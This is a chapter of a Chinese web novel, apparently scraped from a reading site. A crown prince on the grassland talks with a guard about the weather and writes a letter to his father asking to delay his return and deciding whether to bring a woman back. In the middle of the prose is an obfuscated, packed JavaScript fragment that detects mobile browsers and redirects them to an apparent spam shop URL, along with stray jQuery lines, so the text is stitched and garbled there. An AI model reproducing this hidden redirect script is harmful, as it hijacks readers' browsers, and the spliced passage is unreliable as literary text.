远处屋檐下,青礼负手站立。他看着红影越走越远,直至消失不见。草原却依旧是蓝天白云,半点感知不到其中人儿的浓烈悲伤。
“这天气真是不解风情。”
青礼低声道:“如此情形,当凄风苦雨,浇得人愁绪更浓。”
没人应答。
他的伴读、好友皆在京中,并未随行,如今无人敢随便接话。
正好遇见守卫换班,他视线一扫,轻点人群中人。
“你,过来。”
范不冲突然被点到,心中忐忑。一边往前一边思考,会不会是自己前段时间,不小心将兵力告诉虞姑娘的事情,被太子知道了?
越想越觉得有可能。
虽然太子殿下名声极好,都说“礼”刻进他的骨头缝。
可范不冲真被对方注意到,依旧下意识恐惧慌张。
直接跪下求饶吗?
他犹豫行至面前,大脑飞速运转,思考怎样辩解最有用。
尊贵无双的太子殿下说话了。
“你觉得今天天气如何?”
这是什么发展?
天晴了,让我人头落地吗?
范不冲胡思乱想着,摸不准贵人究竟在想什么,只能一板一眼回答:“天气很好。”
“对于即将分别之人来说呢?”青礼问。
范不冲心跳过快,几乎要罢工。面上还不得不应付过去,他摸脑袋,纷乱之际想不到好主意,又不能不回答。
脑袋发懵,还没想明白,话已经说出口:“也很好。路是干的,走起来不脏鞋子,不脏裤子。”
他说:“心情已经很差,天气好点,算是慰藉。”
“哈,这样吗。”
青礼极短促地轻笑,声音之快,使得范不冲疑虑,自己是否听错。
“你继续值班吧。”青礼随口|交代,回到屋中。
留下一头雾水的范不冲,愣了许久才反应过来,太子殿下叫自己,不是知道了“泄露兵力”的事情。
也不一定……他手眼通天,或许是知道了,但懒得追究?
范不冲此时才发觉自己惊出一身冷汗,他长长松了口气,感觉捡回一条命。
他不敢多待,垂下脑袋,返岗路上,在心底小声告诫自己:下一次,吹牛的时候得拎清,不该说的话千万不能说。
刚刚的场景不要再来第二次,他心脏受不住。
待到站定,他偷摸往身后房间瞄了眼。
发现尊贵无双的太子殿下,面容凝重,似乎在思考什么
“天气好,居然适合分别?”青礼想着范不冲的话,缓步回到屋内,低声喃喃。
自己离京之时,天气也很好。
令人不愉快的联想。
他嘴角泛起讥讽笑意,视线流转,看见桌上拆开的信封。突然想起,自己虽然孤身在草原,也不得失了礼仪,需得定期回禀情况。
正好,要告诉他亲爱的父皇,归期延后。
青礼命人铺好宣纸,他端坐桌后,提笔蘸墨,徐徐下笔。
【奏请延期返程书】
字迹蜿蜒流淌,如溪水潺潺缓缓泄出,字体清俊,风骨不俗,
【父皇圣安:
儿臣离京万里,日夜遥思,谨奉尺书,恭请父皇圣体安康,起居顺遂,政躬协和,万事安愉。
儿臣此番离京寻人,本拟按期返程,侍奉父皇左右,不料前日出行途中,偶失谨慎,不慎坠马伤及右腿,虽得牧医悉心诊治,牧民照顾,然骨痛难消,无法按期驾车启程。
若强撑病体赶路,恐路途颠簸加重伤势,届时非但无法及时返京,更恐让父皇挂怀。
思虑再三,儿臣冒昧恳请父皇准许,延期返程,准许儿臣暂做修养,待脚伤痊愈,行动无碍后即刻返程。】
写到这里,已经将需要延期返程的缘由交代清楚,按照以往习惯,应当写些无关痛痒的话,便能装进信封,送往京城。
可……
青礼提着毛笔,笔尖悬空,他小臂就这么举着,双眼盯着宣纸空白部分。
还能再写几句话,不是吗?
宣纸还有空余。
青礼捏着笔杆,明明心中已经打定主意,却无法真正说服自己,走出这一步。
有必要吗?
添上这一句话,有意义吗?
手中毛笔似有千斤重,青礼盯着空白宣纸,白茫茫一片,纸上什么都没有。
没有草原,没有牛羊,也没有虞晚阴召来枣儿,洒脱的身影。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17617559|206067||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“啪嗒”
毛笔尖不知何时凝聚一滴墨,在青礼呼吸之间,滴落在宣纸之上,将空白沾染墨色。
好似草原上消失的红色身影。
青礼如梦初醒。
他将滴了墨的宣纸揉成团,扔至脚边,按照方才思路,重写一封信。
这一次,他没有停顿。
写完“行动无碍后即刻返程”后,提笔蘸墨,继续写。
【再奏父皇喜得佳人。儿臣已寻到父皇所求之人……】
青礼笔尖滞涩,无奈的轻叹几乎从喉咙溢出。
他撂下笔,负手行至窗边站定。
窗外春景浓烈,满地黄花开遍,牛羊自在穿行,他寻遍山坡,却独独少了一抹红。
没有虞晚阴的草原,似乎并没有少什么。
却又实实在在的,让青礼这个外来人,感受到其实少了点什么。
一粒沙?一块石头?一抹红色?
又或是,一双永远燃烧着愤怒的眼睛。
多么可惜。
但,父命难违…
更何况他的父亲,不是齐首领那种慈父。
要为了区区一个草原女子,惹怒父皇吗?
有意义吗?
青礼抬眼望天,寥廓天际,一只孤雁过。
他视线变得幽怨,紧随着孤雁,见它彷徨四顾,形单影只。
是掉队了吧。
它是否竭尽全力追赶,直至筋疲力尽呢?
青礼心头猛颤,他站在窗边回身,看向桌上铺开的宣纸。
信,还没写完。
他垂眸前行,复坐回桌前,将毛笔狼毫反复浸透,吸满墨汁,缓慢抬笔,深吸一口气,悍然下笔。
【……一经十五载,年岁偏长,马术亦不及父皇所说,恐非父皇所念。儿臣不知是否将之带回,请父皇明示。
纸短情长,言不尽意。儿臣再拜,恭祝父皇福寿绵长。
儿臣青礼顿首再拜】
终于,一笔写尽,青礼卸下心头重担,将宣纸塞进信封,交由下属。
“送回京,越快越好。”
下属将信拿走,青礼卸去力气,身体后仰,靠在椅子上,长舒一口气。
就当是,可怜那只落单的雁。